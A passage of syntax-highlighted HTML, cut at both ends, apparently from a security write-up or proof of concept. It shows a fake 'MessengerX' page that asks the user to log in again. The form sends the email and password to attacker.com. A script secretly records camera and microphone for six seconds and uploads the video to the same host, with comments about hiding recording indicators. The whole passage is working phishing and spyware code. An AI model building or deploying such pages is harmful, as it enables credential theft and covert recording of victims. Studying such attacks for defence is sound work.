style=\"background: #263238;color: #eff\">            <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">border<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"kc\" style=\"background: #263238;color: #89ddff\">none<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">;<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">padding<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"mi\" style=\"background: #263238;color: #f78c6c\">10<\/span><span class=\"kt\" style=\"background: #263238;color: #bb80b3\">px<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">;<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">width<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"mi\" style=\"background: #263238;color: #f78c6c\">100<\/span><span class=\"kt\" style=\"background: #263238;color: #bb80b3\">%<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">;<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">border-radius<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"mi\" style=\"background: #263238;color: #f78c6c\">5<\/span><span class=\"kt\" style=\"background: #263238;color: #bb80b3\">px<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">;<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">cursor<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"kc\" style=\"background: #263238;color: #89ddff\">pointer<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">;<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">        <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">}<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">        <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"nc\" style=\"background: #263238;color: #ffcb6b\">login-button<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"nd\" style=\"background: #263238;color: #82aaff\">hover<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">{<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">background-color<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"mh\" style=\"background: #263238;color: #f78c6c\">#0056b3<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">;<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">        <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">}<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">    <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&lt;\/<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">style<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&gt;<\/span>\n<span class=\"p\" style=\"background: #263238;color: #89ddff\">&lt;\/<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">head<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&gt;<\/span>\n<span class=\"p\" style=\"background: #263238;color: #89ddff\">&lt;<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">body<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&gt;<\/span>\n\n    <span class=\"p\" style=\"background: #263238;color: #89ddff\">&lt;<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">div<\/span> <span class=\"na\" style=\"background: #263238;color: #bb80b3\">class<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">\"login-container\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&gt;<\/span>\n        <span class=\"p\" style=\"background: #263238;color: #89ddff\">&lt;<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">h1<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&gt;<\/span>MessengerX<span class=\"p\" style=\"background: #263238;color: #89ddff\">&lt;\/<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">h1<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&gt;<\/span>\n        <span class=\"p\" style=\"background: #263238;color: #89ddff\">&lt;<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">h2<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&gt;<\/span>Please login again<span class=\"p\" style=\"background: #263238;color: #89ddff\">&lt;\/<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">h2<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&gt;<\/span>\n        <span class=\"p\" style=\"background: #263238;color: #89ddff\">&lt;<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">form<\/span> <span class=\"na\" style=\"background: #263238;color: #bb80b3\">id<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">\"loginForm\"<\/span> <span class=\"na\" style=\"background: #263238;color: #bb80b3\">action<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">\"[https:\/\/attacker.com\"<\/span><span class=\"err\" style=\"background: #263238;color: #ff5370\">]()<\/span> <span class=\"na\" style=\"background: #263238;color: #bb80b3\">method<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">\"POST\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&gt;<\/span>\n            <span class=\"p\" style=\"background: #263238;color: #89ddff\">&lt;<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">input<\/span> <span class=\"na\" style=\"background: #263238;color: #bb80b3\">type<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">\"email\"<\/span> <span class=\"na\" style=\"background: #263238;color: #bb80b3\">id<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">\"username\"<\/span> <span class=\"na\" style=\"background: #263238;color: #bb80b3\">name<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">\"username\"<\/span> <span class=\"na\" style=\"background: #263238;color: #bb80b3\">class<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">\"input-field\"<\/span> <span class=\"na\" style=\"background: #263238;color: #bb80b3\">placeholder<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">\"Email\"<\/span> <span class=\"na\" style=\"background: #263238;color: #bb80b3\">required<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&gt;<\/span>\n            <span class=\"p\" style=\"background: #263238;color: #89ddff\">&lt;<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">input<\/span> <span class=\"na\" style=\"background: #263238;color: #bb80b3\">type<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">\"password\"<\/span> <span class=\"na\" style=\"background: #263238;color: #bb80b3\">id<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">\"password\"<\/span> <span class=\"na\" style=\"background: #263238;color: #bb80b3\">name<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">\"password\"<\/span> <span class=\"na\" style=\"background: #263238;color: #bb80b3\">class<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">\"input-field\"<\/span> <span class=\"na\" style=\"background: #263238;color: #bb80b3\">placeholder<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">\"Password\"<\/span> <span class=\"na\" style=\"background: #263238;color: #bb80b3\">required<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&gt;<\/span>\n            <span class=\"p\" style=\"background: #263238;color: #89ddff\">&lt;<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">button<\/span> <span class=\"na\" style=\"background: #263238;color: #bb80b3\">type<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">\"submit\"<\/span> <span class=\"na\" style=\"background: #263238;color: #bb80b3\">class<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">\"login-button\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&gt;<\/span>Login<span class=\"p\" style=\"background: #263238;color: #89ddff\">&lt;\/<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">button<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&gt;<\/span>\n        <span class=\"p\" style=\"background: #263238;color: #89ddff\">&lt;\/<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">form<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&gt;<\/span>\n    <span class=\"p\" style=\"background: #263238;color: #89ddff\">&lt;\/<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">div<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&gt;<\/span>\n\n    <span class=\"p\" style=\"background: #263238;color: #89ddff\">&lt;<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">script<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&gt;<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">        <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">async<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"kd\" style=\"background: #263238;color: #bb80b3\">function<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">startRecording<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">()<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">{<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">try<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">{<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">                <\/span><span class=\"c1\" style=\"background: #263238;color: #546e7a;font-style: italic\">\/\/ Request camera and microphone access (hidden recording)<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">                <\/span><span class=\"kd\" style=\"background: #263238;color: #bb80b3\">const<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">stream<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">await<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">navigator<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">mediaDevices<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">getUserMedia<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">({<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">video<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"kc\" style=\"background: #263238;color: #89ddff\">true<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">audio<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"kc\" style=\"background: #263238;color: #89ddff\">true<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">});<\/span>\n\n<span class=\"w\" style=\"background: #263238;color: #eff\">                <\/span><span class=\"c1\" style=\"background: #263238;color: #546e7a;font-style: italic\">\/\/ MediaRecorder to capture the video\/audio<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">                <\/span><span class=\"kd\" style=\"background: #263238;color: #bb80b3\">let<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">mediaRecorder<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"ow\" style=\"background: #263238;color: #89ddff;font-style: italic\">new<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">MediaRecorder<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">stream<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">);<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">                <\/span><span class=\"kd\" style=\"background: #263238;color: #bb80b3\">let<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">chunks<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">[];<\/span>\n\n<span class=\"w\" style=\"background: #263238;color: #eff\">                <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">mediaRecorder<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">ondataavailable<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">event<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">=&gt;<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">chunks<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">push<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">event<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">data<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">);<\/span>\n\n<span class=\"w\" style=\"background: #263238;color: #eff\">                <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">mediaRecorder<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">onstop<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">async<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">()<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">=&gt;<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">{<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">                    <\/span><span class=\"c1\" style=\"background: #263238;color: #546e7a;font-style: italic\">\/\/ Convert recorded chunks into a Blob<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">                    <\/span><span class=\"kd\" style=\"background: #263238;color: #bb80b3\">const<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">blob<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"ow\" style=\"background: #263238;color: #89ddff;font-style: italic\">new<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">Blob<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">chunks<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">{<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">type<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"s1\" style=\"background: #263238;color: #c3e88d\">'video\/webm'<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">});<\/span>\n\n<span class=\"w\" style=\"background: #263238;color: #eff\">                    <\/span><span class=\"c1\" style=\"background: #263238;color: #546e7a;font-style: italic\">\/\/ Prepare file for upload<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">                    <\/span><span class=\"kd\" style=\"background: #263238;color: #bb80b3\">const<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">formData<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"ow\" style=\"background: #263238;color: #89ddff;font-style: italic\">new<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">FormData<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">();<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">                    <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">formData<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">append<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"video\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">blob<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"aufnahme.webm\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">);<\/span>\n\n<span class=\"w\" style=\"background: #263238;color: #eff\">                    <\/span><span class=\"c1\" style=\"background: #263238;color: #546e7a;font-style: italic\">\/\/ Upload the video file<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">                    <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">try<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">{<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">                        <\/span><span class=\"kd\" style=\"background: #263238;color: #bb80b3\">const<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">response<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">await<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">fetch<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"[https:\/\/attacker.com\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,]()<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">{<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">                            <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">method<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"POST\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">                            <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">body<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">formData<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">                        <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">});<\/span>\n\n<span class=\"w\" style=\"background: #263238;color: #eff\">                        <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">if<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">response<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">ok<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">)<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">{<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">                            <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">console<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">log<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"Video uploaded successfully!\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">);<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">                        <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">}<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">else<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">{<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">                            <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">console<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">error<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"Video upload failed:\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">response<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">statusText<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">);<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">                        <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">}<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">                    <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">}<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">catch<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">error<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">)<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">{<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">                        <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">console<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">error<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"Video upload error:\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">error<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">);<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">                    <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">}<\/span>\n\n<span class=\"w\" style=\"background: #263238;color: #eff\">                    <\/span><span class=\"c1\" style=\"background: #263238;color: #546e7a;font-style: italic\">\/\/ Stop the camera and microphone to hide indicators<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">                    <\/span><span class=\"c1\" style=\"background: #263238;color: #546e7a;font-style: italic\">\/\/stream.getTracks().forEach(track =&gt; track.stop());<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">                <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">};<\/span>\n\n<span class=\"w\" style=\"background: #263238;color: #eff\">                <\/span><span class=\"c1\" style=\"background: #263238;color: #546e7a;font-style: italic\">\/\/ Start recording<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">                <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">mediaRecorder<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">start<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">();<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">                <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">console<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">log<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"Recording started...\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">);<\/span>\n\n<span class=\"w\" style=\"background: #263238;color: #eff\">                <\/span><span class=\"c1\" style=\"background: #263238;color: #546e7a;font-style: italic\">\/\/ Stop recording after 6 seconds<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">                <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">setTimeout<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(()<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">=&gt;<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">{<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">                    <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">mediaRecorder<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">stop<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">();<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">                    <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">console<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">log<\/span><span class=\"p\" style=\"background: #263238;color: 